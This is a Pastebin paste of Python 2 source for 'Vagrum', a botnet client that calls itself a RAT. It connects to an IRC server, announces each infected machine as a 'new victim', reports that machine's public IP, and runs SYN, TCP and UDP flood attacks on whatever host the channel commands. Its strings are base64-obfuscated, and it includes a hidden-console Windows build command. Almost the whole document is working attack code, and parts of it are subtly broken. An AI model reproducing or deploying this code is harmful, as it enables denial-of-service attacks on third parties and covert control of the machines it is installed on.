Vagrum

Vagrum 1.2 RAT IRC - Ddos

Jan 2nd, 2016
41
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.52 KB | None | 0 0
  1. """
  2. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
  3. "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
  4. LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
  5. FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
  6. COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
  7. INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
  8. BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
  9. LOSS OF USE, DATA, OR PROFITS.
  10.  
  11. Vagrum.
  12.  
  13. Compilation:
  14. pyinstaller --noconsole --onefile --clean --win-no-prefer-redirects --win-private-assemblies Vagrum.py
  15.  
  16. Documentation:
  17. !boot METHOD HOST PORT TIME
  18. --> Methods : SYN, TCP, UDP
  19.  
  20. """
  21. import string,socket,sys,os,irclib,ircbot,time,threading,urllib,random,_winreg
  22.  
  23. def randstring(length=10):
  24.     return ''.join((random.choice('QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVo='.decode("base64")) for i in xrange(length)))
  25. def GetIP():
  26.     return urllib.urlopen("http://ipv4bot.whatismyipaddress.com/").read()
  27. class Bot(ircbot.SingleServerIRCBot):
  28.     def __init__(self):
  29.         ircbot.SingleServerIRCBot.__init__(self, [(HOSTIRC, PORTIRC)],
  30.                                            NAMEBOT, "")
  31.     def on_welcome(self, serv, ev):
  32.         serv.join(MyChannel)
  33.     def on_join(self, serv, ev):
  34.         serv.privmsg(MyChannel, "TmV3IHZpY3RpbQ==".decode("base64"))
  35.     def on_pubmsg(self, serv, ev):
  36.         message = ev.arguments()[0]
  37.         if message == "IWlwYm90".decode("base64"):
  38.             serv.privmsg(MyChannel, "TXkgaXAgLT4g".decode("base64")+GetIP())
  39.         if "IWJvb3Q=".decode("base64") in message or "IWJvb3Q=".decode("base64") in message:
  40.             argumentss = message[len("IWJvb3Q=".decode("base64"))+1:100]
  41.             if len(argumentss.split(" ")) != 4:
  42.                 serv.privmsg(MyChannel, chr(10)+"TUVUSE9EIDogc3luLCB0Y3AsIHVkcA==".decode("base64")+chr(10)+"LS0+ICFib290IE1FVEhPRCBJUCBQT1JUIFRJTUU=".deocde("base64"))
  43.             else:
  44.                 if argumentss.split(" ")[0] == "c3lu".decode("base64"):
  45.                     Threaddos = synFlood(argumentss.split(" ")[1], argumentss.split(" ")[2], argumentss.split(" ")[3])
  46.                     Threaddos.start()
  47.                 elif argumentss.split(" ")[0] == "dGNw".decode("base64"):
  48.                     Threaddos = tcpFlood(argumentss.split(" ")[1], argumentss.split(" ")[2], TAILLEDDOS, argumentss.split(" ")[3])
  49.                     Threaddos.start()
  50.                 elif argumentss.split(" ")[0] == "dWRw".decode("base64"):
  51.                     Threaddos = udpFlood(argumentss.split(" ")[1], argumentss.split(" ")[2], TAILLEDDOS, argumentss.split(" ")[3])
  52.                     Threaddos.start()
  53.                 serv.privmsg(MyChannel, "QXR0YWNrIHN0YXJ0IC0+IE1ldGhvZCA6IA==".decode("base64")+argumentss.split(" ")[0]+ "IEhvc3QgOiA=".decode("base64")+argumentss.split(" ")[1]+"IFBvcnQgOiA=".decode("base64")+argumentss.split(" ")[2]+"IFRpbWUgOiA=".decode("base64")+argumentss.split(" ")[3])
  54.  
  55. class synFlood(threading.Thread):
  56.     def __init__(self, ip, port, time):
  57.         self.ip      = ip
  58.         self.port    = port
  59.         self.time = time
  60.         self.syn     = socket.socket()
  61.         threading.Thread.__init__(self)
  62.     def run(self):
  63.         timeout = time.time() + int(self.time)
  64.         while True:
  65.             if time.time() > timeout:
  66.                 break
  67.             else:
  68.                 pass
  69.             try:
  70.                 self.syn.connect((self.ip, self.port))
  71.             except:
  72.                 pass
  73.  
  74. class tcpFlood(threading.Thread):
  75.     def __init__(self, ip, port, size, time):
  76.         self.ip      = ip
  77.         self.port    = port
  78.         self.size    = size
  79.         self.time = time
  80.         self.tcp     = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  81.         threading.Thread.__init__(self)
  82.     def run(self):
  83.         timeout = time.time() + int(self.time)
  84.         while True:
  85.             if time.time() > timeout:
  86.                 break
  87.             else:
  88.                 pass
  89.             try:
  90.                 bytes = random._urandom(self.size)
  91.                 socket.connect(self.ip, self.port)
  92.                 socket.setblocking(0)
  93.                 socket.sendto(bytes,(self.ip, self.port))
  94.             except:
  95.                 pass
  96. class udpFlood(threading.Thread):
  97.     def __init__(self, ip, port, size, time):
  98.         self.ip      = ip
  99.         self.port    = port
  100.         self.size    = size
  101.         self.time = time
  102.         self.udp     = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  103.         threading.Thread.__init__(self)
  104.     def run(self):
  105.         timeout = time.time() + int(self.time)
  106.         while True:
  107.             if time.time() > timeout:
  108.                 break
  109.             else:
  110.                 pass
  111.             try:
  112.                 bytes = random._urandom(self.size)
  113.                 if self.port == 0:
  114.                     self.port = random.randrange(1, 65535)
  115.                 self.udp.sendto(bytes,(self.ip, self.port))
  116.             except:
  117.                 pass
  118. if __name__ == "__main__":
  119.     print "Vagrum v0.1 - RAT IRC - DDOS"+chr(10)+"--> SYN, TCP, UDP"
  120.     NAMEBOT = randstring(5)
  121.     MyChannel = "#MyChannelBOT"
  122.     HOSTIRC = "leguin.freenode.net"
  123.     PORTIRC = 6665
  124.     TAILLEDDOS = 4094
  125.     Bot().start()
Add Comment
Please, Sign In to add comment